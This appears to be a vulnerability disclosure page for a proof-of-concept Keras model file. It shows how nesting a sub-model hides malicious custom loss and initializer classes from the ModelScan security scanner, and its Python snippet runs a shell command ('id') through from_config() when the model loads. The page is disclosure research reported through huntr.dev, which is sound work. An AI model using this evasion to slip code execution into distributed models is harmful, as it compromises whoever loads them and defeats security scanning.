ModelScan Nested Model Bypass β€” All Deserialization Layers Invisible

What This Is

ModelScan only scans the TOP-LEVEL model's layers for class_name == "Lambda". When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure β€” including compile_config, initializers, regularizers, constraints β€” is completely invisible.

This .keras file:

  • Outer model wraps a Sequential sub-model as a layer
  • Sequential has custom loss (NestedLoss>BadLoss) with malicious from_config()
  • Sequential has a layer with custom initializer (NestedInit>BadInit) with malicious from_config()
  • ModelScan: 0 Issues, 0 Errors, 0 Skipped

Verify

python3 -c "
import tensorflow as tf, keras, os

@keras.saving.register_keras_serializable(package='NestedLoss')
class BadLoss(tf.keras.losses.MeanSquaredError):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/NL')
        return super().from_config(config)

@keras.saving.register_keras_serializable(package='NestedInit')
class BadInit(tf.keras.initializers.GlorotUniform):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/NI')
        return super().from_config(config)

model = tf.keras.models.load_model('model.keras', safe_mode=False)
print('Loss RCE:', os.path.exists('/tmp/NL'))
print('Init RCE:', os.path.exists('/tmp/NI'))
"

Why This Matters

Nested models place their compile_config at layer.compile_config (not model.compile_config). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run.

Disclosure

Submitted to ProtectAI via huntr.dev.

Downloads last month
19
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support